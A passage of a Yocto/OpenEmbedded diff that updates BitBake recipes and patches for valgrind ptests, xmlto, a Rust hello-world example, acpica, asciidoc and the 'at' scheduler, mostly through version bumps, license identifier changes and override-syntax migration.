+ file://0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch \
+ file://0001-memcheck-tests-Fix-timerfd-syscall-test.patch \
+ file://0001-Implement-linux-rseq-syscall-as-ENOSYS.patch \
+ file://0001-docs-Disable-manual-validation.patch \
+ "
+SRC_URI[sha256sum] = "00859aa13a772eddf7822225f4b46ee0d39afbe071d32778da4d99984081f7f5"
+UPSTREAM_CHECK_REGEX = "valgrind-(?P<pver>\d+(\.\d+)+)\.tar"
+
+COMPATIBLE_HOST = '(i.86|x86_64|arm|aarch64|mips|powerpc|powerpc64).*-linux'
+
+# patch 0001-memcheck-vgtests-remove-fullpath-after-flags.patch removes relative path
+# argument. Change expected stderr files accordingly.
+do_patch:append() {
+ bb.build.exec_func('do_sed_paths', d)
+}
+
+do_sed_paths() {
+ sed -i -e 's|tests/||' ${S}/memcheck/tests/badfree3.stderr.exp
+ sed -i -e 's|tests/||' ${S}/memcheck/tests/varinfo5.stderr.exp
+}
+
+# valgrind supports armv7 and above
+COMPATIBLE_HOST:armv4 = 'null'
+COMPATIBLE_HOST:armv5 = 'null'
+COMPATIBLE_HOST:armv6 = 'null'
+
+# valgrind fails with powerpc soft-float
+COMPATIBLE_HOST:powerpc = "${@bb.utils.contains('TARGET_FPU', 'soft', 'null', '.*-linux', d)}"
+
+# X32 isn't supported by valgrind at this time
+COMPATIBLE_HOST:linux-gnux32 = 'null'
+COMPATIBLE_HOST:linux-muslx32 = 'null'
+
+# Disable for some MIPS variants
+COMPATIBLE_HOST:mipsarchr6 = 'null'
+COMPATIBLE_HOST:linux-gnun32 = 'null'
+
+# Disable for powerpc64 with musl
+COMPATIBLE_HOST:libc-musl:powerpc64 = 'null'
+
+# brokenseip is unfortunately required by ptests to pass
+inherit autotools-brokensep ptest multilib_header
+
+EXTRA_OECONF = "--enable-tls --without-mpicc"
+EXTRA_OECONF += "${@['--enable-only32bit','--enable-only64bit'][d.getVar('SITEINFO_BITS') != '32']}"
+
+# valgrind checks host_cpu "armv7*)", so we need to over-ride the autotools.bbclass default --host option
+EXTRA_OECONF:append:arm = " --host=armv7${HOST_VENDOR}-${HOST_OS}"
+
+EXTRA_OEMAKE = "-w"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
+
+# valgrind likes to control its own optimisation flags. It generally defaults
+# to -O2 but uses -O0 for some specific test apps etc. Passing our own flags
+# (via CFLAGS) means we interfere with that. Only pass DEBUG_FLAGS to it
+# which fixes build path issue in DWARF.
+SELECTED_OPTIMIZATION = "${DEBUG_FLAGS}"
+
+do_configure:prepend () {
+ rm -rf ${S}/config.h
+ sed -i -e 's:$(abs_top_builddir):$(pkglibdir)/ptest:g' ${S}/none/tests/Makefile.am
+ sed -i -e 's:$(top_builddir):$(pkglibdir)/ptest:g' ${S}/memcheck/tests/Makefile.am
+}
+
+do_install:append () {
+ install -m 644 ${B}/default.supp ${D}/${libexecdir}/valgrind/
+ oe_multilib_header valgrind/config.h
+}
+
+VALGRINDARCH ?= "${TARGET_ARCH}"
+VALGRINDARCH:aarch64 = "arm64"
+VALGRINDARCH:x86-64 = "amd64"
+VALGRINDARCH:x86 = "x86"
+VALGRINDARCH:mips = "mips32"
+VALGRINDARCH:mipsel = "mips32"
+VALGRINDARCH:mips64el = "mips64"
+VALGRINDARCH:powerpc = "ppc"
+VALGRINDARCH:powerpc64 = "ppc64"
+VALGRINDARCH:powerpc64le = "ppc64le"
+
+INHIBIT_PACKAGE_STRIP_FILES = "${PKGD}${libexecdir}/valgrind/vgpreload_memcheck-${VALGRINDARCH}-linux.so"
+
+RDEPENDS:${PN} += "perl"
+
+# valgrind needs debug information for ld.so at runtime in order to
+# redirect functions like strlen.
+RRECOMMENDS:${PN} += "${TCLIBC}-dbg"
+
+RDEPENDS:${PN}-ptest += " bash coreutils curl file \
+ gdb libgomp \
+ perl \
+ perl-module-file-basename perl-module-file-glob perl-module-getopt-long \
+ perl-module-overloading perl-module-cwd perl-module-ipc-open3 \
+ perl-module-carp perl-module-symbol \
+ procps sed ${PN}-dbg ${PN}-src ${TCLIBC}-src gcc-runtime-dbg \
+ util-linux-taskset"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-utils"
+
+# One of the tests contains a bogus interpreter path on purpose.
+# Skip file dependency check
+SKIP_FILEDEPS:${PN}-ptest = '1'
+INSANE_SKIP:${PN}-ptest = "debug-deps"
+
+do_compile_ptest() {
+ oe_runmake check
+}
+
+do_install_ptest() {
+ chmod +x ${B}/tests/vg_regtest
+
+ # The test application binaries are not automatically installed.
+ # Grab them from the build directory.
+ #
+ # The regression tests require scripts and data files that are not
+ # copied to the build directory. They must be copied from the
+ # source directory.
+ saved_dir=$PWD
+ for parent_dir in ${S} ${B} ; do
+ cd $parent_dir
+
+ subdirs=" \
+ .in_place \
+ cachegrind/tests \
+ callgrind/tests \
+ dhat/tests \
+ drd/tests \
+ gdbserver_tests \
+ helgrind/tests \
+ lackey/tests \
+ massif/tests \
+ memcheck/tests \
+ none/tests \
+ tests \
+ exp-bbv/tests \
+ "
+ # Get the vg test scripts, filters, and expected files
+ for dir in $subdirs ; do
+ find $dir | cpio -pvdu ${D}${PTEST_PATH}
+ done
+ cd $saved_dir
+ done
+
+ # The scripts reference config.h so add it to the top ptest dir.
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ install -D ${WORKDIR}/remove-for-aarch64 ${D}${PTEST_PATH}
+ install -D ${WORKDIR}/remove-for-all ${D}${PTEST_PATH}
+ install -D ${WORKDIR}/taskset_nondeterministic_tests ${D}${PTEST_PATH}
+
+ # Add an executable need by none/tests/bigcode
+ mkdir ${D}${PTEST_PATH}/perf
+ cp ${B}/perf/bigcode ${D}${PTEST_PATH}/perf
+
+ # Add an executable needed by memcheck/tests/vcpu_bz2
+ cp ${B}/perf/bz2 ${D}${PTEST_PATH}/perf
+
+ # Make the ptest dir look like the top level valgrind src dir
+ # This is checked by the gdbserver_tests/make_local_links script
+ mkdir ${D}${PTEST_PATH}/coregrind
+ cp ${B}/coregrind/vgdb ${D}${PTEST_PATH}/coregrind
+
+ # Add an executable needed by massif tests
+ cp ${B}/massif/ms_print ${D}${PTEST_PATH}/massif/ms_print
+
+ find ${D}${PTEST_PATH} \
+ \( \
+ -name "Makefile*" \
+ -o -name "*.o" \
+ \) \
+ -exec rm {} \;
+
+ # These files need to be newer so touch them.
+ touch ${D}${PTEST_PATH}/cachegrind/tests/a.c -r ${D}${PTEST_PATH}/cachegrind/tests/cgout-test
+
+ # find *_annotate in ${bindir} for yocto build
+ sed -i s:\.\./\.\./cachegrind/cg_annotate:${bindir}/cg_annotate: ${D}${PTEST_PATH}/cachegrind/tests/ann1.vgtest
+ sed -i s:\.\./\.\./cachegrind/cg_annotate:${bindir}/cg_annotate: ${D}${PTEST_PATH}/cachegrind/tests/ann2.vgtest
+
+ sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann1.vgtest
+ sed -i s:\.\./\.\./callgrind/callgrind_annotate:${bindir}/callgrind_annotate: ${D}${PTEST_PATH}/callgrind/tests/ann2.vgtest
+
+ # point the expanded @abs_top_builddir@ of the host to PTEST_PATH
+ sed -i s:${S}:${PTEST_PATH}:g \
+ ${D}${PTEST_PATH}/memcheck/tests/linux/debuginfod-check.vgtest
+
+ # handle multilib
+ sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
+ sed -i s:@libexecdir@:${libexecdir}:g ${D}${PTEST_PATH}/run-ptest
+ sed -i s:@bindir@:${bindir}:g ${D}${PTEST_PATH}/run-ptest
+
+ # This test fails on the host as well, using both 3.15 and git master (as of Jan 24 2020)
+ # https://bugs.kde.org/show_bug.cgi?id=402833
+ rm ${D}${PTEST_PATH}/memcheck/tests/overlap.vgtest
+
+ # This is known failure see https://bugs.kde.org/show_bug.cgi?id=435732
+ rm ${D}${PTEST_PATH}/memcheck/tests/leak_cpp_interior.vgtest
+
+ # As the binary isn't stripped or debug-splitted, the source file isn't fetched
+ # via dwarfsrcfiles either, so it needs to be installed manually.
+ mkdir -p ${D}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/${BP}/none/tests/
+ install ${S}/none/tests/tls.c ${D}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/${BP}/none/tests/
+}
+
+# avoid stripping some generated binaries otherwise some of the tests will fail
+# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
+INHIBIT_PACKAGE_STRIP_FILES += "\
+ ${PKGD}${PTEST_PATH}/none/tests/tls \
+ ${PKGD}${PTEST_PATH}/none/tests/tls.so \
+ ${PKGD}${PTEST_PATH}/none/tests/tls2.so \
+ ${PKGD}${PTEST_PATH}/helgrind/tests/tc09_bad_unlock \
+ ${PKGD}${PTEST_PATH}/memcheck/tests/manuel1 \
+ ${PKGD}${PTEST_PATH}/drd/tests/pth_detached3 \
+"
diff --git a/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb b/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb
index df798dfcdd..5cb9a4c57b 100644
--- a/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb
+++ b/meta/recipes-devtools/xmlto/xmlto_0.0.28.bb
@@ -1,7 +1,8 @@
SUMMARY = "A shell-script tool for converting XML files to various formats"
-HOMEPAGE = "https://releases.pagure.org/xmlto/"
+HOMEPAGE = "https://pagure.io/xmlto"
+DESCRIPTION = "Utility xmlto is a simple shell-script tool for converting XML files to various formats. It serves as easy to use command line frontend to make fine output without remembering many long options and searching for the syntax of the backends."
SECTION = "docs/xmlto"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
@@ -13,27 +14,29 @@ SRC_URI[sha256sum] = "2f986b7c9a0e9ac6728147668e776d405465284e13c74d4146c9cbc51f
inherit autotools
+CLEANBROKEN = "1"
+
DEPENDS = "libxml2-native"
-RDEPENDS_${PN} = "docbook-xml-dtd4 \
+RDEPENDS:${PN} = "docbook-xml-dtd4 \
docbook-xsl-stylesheets \
util-linux \
libxml2 \
libxslt \
bash \
"
-RDEPENDS_${PN}_append_class-target = " \
+RDEPENDS:${PN}:append:class-target = " \
libxml2-utils \
libxslt-bin \
coreutils \
"
-CACHED_CONFIGUREVARS += "ac_cv_path_TAIL=tail"
+CACHED_CONFIGUREVARS += "ac_cv_path_TAIL=tail ac_cv_path_GREP=grep"
BBCLASSEXTEND = "native"
-EXTRA_OECONF_append = " BASH=/bin/bash GCP=/bin/cp XMLLINT=xmllint XSLTPROC=xsltproc"
+EXTRA_OECONF:append = " BASH=/bin/bash GCP=/bin/cp XMLLINT=xmllint XSLTPROC=xsltproc"
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}${bindir}/xmlto XML_CATALOG_FILES=${sysconfdir}/xml/catalog
}
diff --git a/meta/recipes-example/rust-hello-world/rust-hello-world/0001-enable-LTO.patch b/meta/recipes-example/rust-hello-world/rust-hello-world/0001-enable-LTO.patch
new file mode 100644
index 0000000000..f319545ee1
--- /dev/null
+++ b/meta/recipes-example/rust-hello-world/rust-hello-world/0001-enable-LTO.patch
@@ -0,0 +1,24 @@
+From fa40b874f6470ec11a8fd7b0c9909d0cdd2d6feb Mon Sep 17 00:00:00 2001
+From: Dan Callaghan <dan.callaghan@opengear.com>
+Date: Fri, 5 Feb 2021 08:56:34 +1000
+Subject: [PATCH] enable LTO
+
+Upstream-Status: Pending
+---
+ Cargo.toml | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/Cargo.toml b/Cargo.toml
+index 7a2f6c8..cdb6b5d 100644
+--- a/Cargo.toml
++++ b/Cargo.toml
+@@ -3,3 +3,6 @@
+ name = "rust-hello-world"
+ version = "0.0.1"
+ authors = ["Cody P Schafer <dev@codyps.com>"]
++
++[profile.release]
++lto = true
+--
+2.28.0
+
diff --git a/meta/recipes-example/rust-hello-world/rust-hello-world_git.bb b/meta/recipes-example/rust-hello-world/rust-hello-world_git.bb
new file mode 100644
index 0000000000..1d91109b51
--- /dev/null
+++ b/meta/recipes-example/rust-hello-world/rust-hello-world_git.bb
@@ -0,0 +1,19 @@
+inherit cargo
+
+SRC_URI = "git://github.com/meta-rust/rust-hello-world.git;protocol=https;branch=master"
+SRCREV="e0fa23f1a3cb1eb1407165bd2fc36d2f6e6ad728"
+LIC_FILES_CHKSUM="file://COPYRIGHT;md5=e6b2207ac3740d2d01141c49208c2147"
+
+SRC_URI += "\
+ file://0001-enable-LTO.patch \
+ "
+
+UPSTREAM_CHECK_COMMITS = "1"
+
+SUMMARY = "Hello World by Cargo for Rust"
+HOMEPAGE = "https://github.com/meta-rust/rust-hello-world"
+LICENSE = "MIT | Apache-2.0"
+
+S = "${WORKDIR}/git"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/acpica/acpica_20190816.bb b/meta/recipes-extended/acpica/acpica_20190816.bb
deleted file mode 100644
index 8f79974775..0000000000
--- a/meta/recipes-extended/acpica/acpica_20190816.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "ACPICA tools for the development and debug of ACPI tables"
-DESCRIPTION = "The ACPI Component Architecture (ACPICA) project provides an \
-OS-independent reference implementation of the Advanced Configuration and \
-Power Interface Specification (ACPI). ACPICA code contains those portions of \
-ACPI meant to be directly integrated into the host OS as a kernel-resident \
-subsystem, and a small set of tools to assist in developing and debugging \
-ACPI tables."
-
-HOMEPAGE = "http://www.acpica.org/"
-SECTION = "console/tools"
-
-LICENSE = "BSD | GPLv2"
-LIC_FILES_CHKSUM = "file://generate/unix/readme.txt;md5=204407e197c1a01154a48f6c6280c3aa"
-
-COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
-
-DEPENDS = "bison flex bison-native"
-
-SRC_URI = "https://acpica.org/sites/acpica/files/acpica-unix2-${PV}.tar.gz"
-SRC_URI[md5sum] = "6a73b1e34715916fa31132dbe11008b0"
-SRC_URI[sha256sum] = "888e80f3bb77381620a5ead208e1a1be06f3ea66ddc8cfdfa62811cae5f03752"
-UPSTREAM_CHECK_URI = "https://acpica.org/downloads"
-
-S = "${WORKDIR}/acpica-unix2-${PV}"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "acpixtract acpidump"
-
-EXTRA_OEMAKE = "CC='${CC}' \
- OPT_CFLAGS=-Wall \
- DESTDIR=${D} \
- PREFIX=${prefix} \
- INSTALLDIR=${bindir} \
- INSTALLFLAGS= \
- "
-
-do_install() {
- oe_runmake install
-}
-
-# iasl*.bb is a subset of this recipe, so RREPLACE it
-PROVIDES = "iasl"
-RPROVIDES_${PN} += "iasl"
-RREPLACES_${PN} += "iasl"
-RCONFLICTS_${PN} += "iasl"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/acpica/acpica_20211217.bb b/meta/recipes-extended/acpica/acpica_20211217.bb
new file mode 100644
index 0000000000..d1727c1dab
--- /dev/null
+++ b/meta/recipes-extended/acpica/acpica_20211217.bb
@@ -0,0 +1,51 @@
+SUMMARY = "ACPICA tools for the development and debug of ACPI tables"
+DESCRIPTION = "The ACPI Component Architecture (ACPICA) project provides an \
+OS-independent reference implementation of the Advanced Configuration and \
+Power Interface Specification (ACPI). ACPICA code contains those portions of \
+ACPI meant to be directly integrated into the host OS as a kernel-resident \
+subsystem, and a small set of tools to assist in developing and debugging \
+ACPI tables."
+
+HOMEPAGE = "http://www.acpica.org/"
+SECTION = "console/tools"
+
+LICENSE = "Intel | BSD-3-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=c33ce358fdcd142684e41e336b7992e8"
+
+COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
+
+DEPENDS = "m4-native flex-native bison-native"
+
+SRC_URI = "https://acpica.org/sites/acpica/files/acpica-unix-${PV}.tar.gz"
+SRC_URI[sha256sum] = "2511f85828820d747fa3e2c3433d3a38c22db3d9c2fd900e1a84eb4173cb5992"
+
+UPSTREAM_CHECK_URI = "https://acpica.org/downloads"
+
+S = "${WORKDIR}/acpica-unix-${PV}"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "acpixtract acpidump"
+
+EXTRA_OEMAKE = "CC='${CC}' \
+ OPT_CFLAGS=-Wall \
+ DESTDIR=${D} \
+ PREFIX=${prefix} \
+ INSTALLDIR=${bindir} \
+ INSTALLFLAGS= \
+ YACC=bison \
+ YFLAGS='-y --file-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}' \
+ "
+
+do_install() {
+ oe_runmake install
+}
+
+# iasl*.bb is a subset of this recipe, so RREPLACE it
+PROVIDES = "iasl"
+RPROVIDES:${PN} += "iasl"
+RREPLACES:${PN} += "iasl"
+RCONFLICTS:${PN} += "iasl"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch b/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch
deleted file mode 100644
index ca170db00f..0000000000
--- a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-If SGML_CATALOG_FILES is in the environment, pass --catalogs to xmllint and
-xsltproc. Also pass --nonet to xsltproc to detect future missing stylesheet
-problems.
-
-An earlier version of this patch was filed upstream at
-https://github.com/asciidoc/asciidoc-py3/issues/61 so depending on how that goes
-this could get merged.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/a2x.py b/a2x.py
-index 2d7699a..582d809 100755
---- a/a2x.py
-+++ b/a2x.py
-@@ -57,6 +57,10 @@ LYNX_OPTS = '-dump'
- W3M_OPTS = '-dump -cols 70 -T text/html -no-graph'
- XSLTPROC_OPTS = ''
-
-+if "SGML_CATALOG_FILES" in os.environ:
-+ XMLLINT += " --catalogs"
-+ XSLTPROC += " --catalogs"
-+
- ######################################################################
- # End of configuration file parameters.
- ######################################################################
-@@ -298,7 +302,7 @@ def exec_xsltproc(xsl_file, xml_file, dst_dir, opts = ''):
- cwd = os.getcwd()
- shell_cd(dst_dir)
- try:
-- shell('"%s" %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file))
-+ shell('%s %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file))
- finally:
- shell_cd(cwd)
-
-@@ -483,7 +487,7 @@ class A2X(AttrDict):
- self.asciidoc_opts += ' --doctype %s' % self.doctype
- for attr in self.attributes:
- self.asciidoc_opts += ' --attribute "%s"' % attr
--# self.xsltproc_opts += ' --nonet'
-+ self.xsltproc_opts += ' --nonet'
- if self.verbose:
- self.asciidoc_opts += ' --verbose'
- self.dblatex_opts += ' -V'
-@@ -634,7 +638,7 @@ class A2X(AttrDict):
- shell('"%s" --backend docbook -a "a2x-format=%s" %s --out-file "%s" "%s"' %
- (self.asciidoc, self.format, self.asciidoc_opts, docbook_file, self.asciidoc_file))
- if not self.no_xmllint and XMLLINT:
-- shell('"%s" --nonet --noout --valid "%s"' % (XMLLINT, docbook_file))
-+ shell('%s --nonet --noout --valid "%s"' % (XMLLINT, docbook_file))
-
- def to_xhtml(self):
- self.to_docbook()
diff --git a/meta/recipes-extended/asciidoc/asciidoc_10.1.4.bb b/meta/recipes-extended/asciidoc/asciidoc_10.1.4.bb
new file mode 100644
index 0000000000..4ab9edbce4
--- /dev/null
+++ b/meta/recipes-extended/asciidoc/asciidoc_10.1.4.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Tool for creating HTML, PDF, EPUB, man pages"
+DESCRIPTION = "AsciiDoc is a text document format for writing short documents, \
+articles, books and UNIX man pages."
+
+HOMEPAGE = "http://asciidoc.org/"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=aaee33adce0fc7cc40fee23f82f7f101 \
+ file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ "
+
+SRC_URI = "git://github.com/asciidoc/asciidoc-py;protocol=https;branch=main"
+SRCREV = "c724bbf95b1840b04bb298a61a72b6a5ea94c2ef"
+
+DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
+
+S = "${WORKDIR}/git"
+
+# Tell xmllint where to find the DocBook XML catalogue, because right now it
+# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch
+export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog"
+
+inherit setuptools3
+CLEANBROKEN = "1"
+
+BBCLASSEXTEND = "native nativesdk"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
diff --git a/meta/recipes-extended/asciidoc/asciidoc_8.6.9.bb b/meta/recipes-extended/asciidoc/asciidoc_8.6.9.bb
deleted file mode 100644
index 751bf0f19f..0000000000
--- a/meta/recipes-extended/asciidoc/asciidoc_8.6.9.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Tool for creating HTML, PDF, EPUB, man pages"
-DESCRIPTION = "AsciiDoc is a text document format for writing short documents, \
-articles, books and UNIX man pages."
-
-HOMEPAGE = "http://asciidoc.org/"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
- file://COPYRIGHT;md5=029ad5428ba5efa20176b396222d4069"
-
-SRC_URI = "git://github.com/asciidoc/asciidoc-py3;protocol=https \
- file://auto-catalogs.patch"
-SRCREV = "618f6e6f6b558ed1e5f2588cd60a5a6b4f881ca0"
-PV .= "+py3-git${SRCPV}"
-
-DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-
-S = "${WORKDIR}/git"
-
-# Tell xmllint where to find the DocBook XML catalogue, because right now it
-# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch
-export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog"
-
-# Not using automake
-inherit autotools-brokensep
-CLEANBROKEN = "1"
-
-# target and nativesdk needs python3, but for native we can use the host.
-RDEPENDS_${PN} += "python3"
-RDEPENDS_remove_class-native = "python3"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
index 7fdecc7fd1..fd57f94cd5 100644
--- a/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
+++ b/meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch
@@ -18,21 +18,21 @@ Signed-off-by: Dengke Du <dengke.du@windriver.com>
parsetime.y | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
-diff --git a/parsetime.y b/parsetime.y
-index 7005e88..324e6d3 100644
---- a/parsetime.y
-+++ b/parsetime.y
-@@ -8,6 +8,9 @@
-
- #define YYDEBUG 1
+Index: at-3.2.1/parsetime.y
+===================================================================
+--- at-3.2.1.orig/parsetime.y
++++ at-3.2.1/parsetime.y
+@@ -14,6 +14,9 @@
+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
+ #endif
+#define is_leap_year(y) \
+ ((y) % 4 == 0 && ((y) % 100 != 0 || (y) % 400 == 0))
+
struct tm exectm;
static int isgmt;
- static int yearspec;
-@@ -217,8 +220,8 @@ date : month_name day_number
+ static char *tz = NULL;
+@@ -230,8 +233,8 @@ date : month_name day_number
mnum == 12) && dnum > 31)
|| ((mnum == 4 || mnum == 6 || mnum == 9 ||
mnum == 11) && dnum > 30)
@@ -43,7 +43,7 @@ index 7005e88..324e6d3 100644
)
{
yyerror("Error in day of month");
-@@ -261,8 +264,8 @@ date : month_name day_number
+@@ -274,8 +277,8 @@ date : month_name day_number
mnum == 12) && dnum > 31)
|| ((mnum == 4 || mnum == 6 || mnum == 9 ||
mnum == 11) && dnum > 30)
@@ -54,6 +54,3 @@ index 7005e88..324e6d3 100644
)
{
yyerror("Error in day of month");
---
-2.8.1
-
diff --git a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
index d5ef0032be..11023bdf52 100644
--- a/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
+++ b/meta/recipes-extended/at/at/file_replacement_with_gplv2.patch
@@ -10,11 +10,11 @@ update the Copyright file information to reflect the replaced files.
Date: 2010/08/31
Nitin A Kamble nitin.a.kamble@intel.com
-Index: at-3.1.12/Copyright
+Index: at-3.2.1/Copyright
===================================================================
---- at-3.1.12.orig/Copyright
-+++ at-3.1.12/Copyright
-@@ -31,10 +31,10 @@ The files posixtm.c and posixtm.h have t
+--- at-3.2.1.orig/Copyright
++++ at-3.2.1/Copyright
+@@ -34,10 +34,10 @@ The files posixtm.c and posixtm.h have t
Copyright (C) 1989, 1990, 1991, 1998, 2000, 2001, 2002, 2003, 2004,
2005, 2006, 2007 Free Software Foundation Inc.
diff --git a/meta/recipes-extended/at/at/fix_parallel_build_error.patch b/meta/recipes-extended/at/at/fix_parallel_build_error.patch
deleted file mode 100644
index 30d2324126..0000000000
--- a/meta/recipes-extended/at/at/fix_parallel_build_error.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 24ef2a6544f9c7ec01bc7ae73dffa2974a1e251d Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Wed, 5 Dec 2018 09:46:22 +0800
-Subject: [PATCH] fix parallel build error
-
-make -j was failing sometimesa like this
-| ccache i586-poky-linux-gcc -march=i586 --sysroot=/home/nitin/build/build0/tmp/sysroots/i586-poky-linux -I. -fexpensive-optimizations -fomit-frame-pointer -frename-registers -O2 -ggdb -feliminate-unused-debug-types -o atd atd.o daemon.o -lfl -lpam -Wl,-O1 -Wl,--as-needed
-| parsetime.l:5:19: fatal error: y.tab.h: No such file or directory
-| compilation terminated.
-| make: *** [lex.yy.o] Error 1
-| make: *** Waiting for unfinished jobs....
-
-Fixed the issue by adding a dependency in the makefile.
-Nitin <nitin.a.kamble@intel.com>
-2010/09/02
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- Makefile.in | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/Makefile.in b/Makefile.in
-index 4c11913..18ecc23 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -83,6 +83,8 @@ y.tab.c y.tab.h: parsetime.y
- lex.yy.c: parsetime.l
- $(LEX) -i parsetime.l
-
-+parsetime.l: y.tab.h
-+
- atd.service: atd.service.in
- cat $< | sed -e 's![@]sbindir[@]!$(sbindir)!g' | sed -e 's![@]atjobdir[@]!$(atjobdir)!g' > $@
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/at/at/makefile-fix-parallel.patch b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
index d6056dceff..adb8652053 100644
--- a/meta/recipes-extended/at/at/makefile-fix-parallel.patch
+++ b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
@@ -15,11 +15,11 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Makefile | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
-Index: at-3.1.20/Makefile.in
+Index: at-3.2.1/Makefile.in
===================================================================
---- at-3.1.20.orig/Makefile.in
-+++ at-3.1.20/Makefile.in
-@@ -76,7 +76,9 @@ at: $(ATOBJECTS)
+--- at-3.2.1.orig/Makefile.in
++++ at-3.2.1/Makefile.in
+@@ -77,7 +77,9 @@ at: $(ATOBJECTS)
atd: $(RUNOBJECTS)
$(CC) $(LDFLAGS) -o atd $(RUNOBJECTS) $(LIBS) $(PAMLIB) $(SELINUXLIB)
diff --git a/meta/recipes-extended/at/at_3.1.23.bb b/meta/recipes-extended/at/at_3.1.23.bb
deleted file mode 100644
index b74882d342..0000000000
--- a/meta/recipes-extended/at/at_3.1.23.bb
+++ /dev/null
@@ -1,78 +0,0 @@
-SUMMARY = "Delayed job execution and batch processing"
-HOMEPAGE = "http://blog.calhariz.com/"
-DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \
-the system load levels drop to a particular level."
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4"
-DEPENDS = "flex flex-native bison-native \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-
-PACKAGECONFIG ?= "\
- ${@bb.utils.contains('DISTRO_FEATURES', 'selinux', 'selinux', '', d)} \
-"
-
-PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux,"
-
-RDEPENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
-"
-
-PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits"
-
-RCONFLICTS_${PN} = "atd"
-RREPLACES_${PN} = "atd"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20180825T090248Z/pool/main/a/${BPN}/${BPN}_${PV}.orig.tar.gz \
- file://fix_parallel_build_error.patch \
- file://posixtm.c \
- file://posixtm.h \
- file://file_replacement_with_gplv2.patch \
- file://atd.init \
- file://atd.service \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://makefile-fix-parallel.patch \
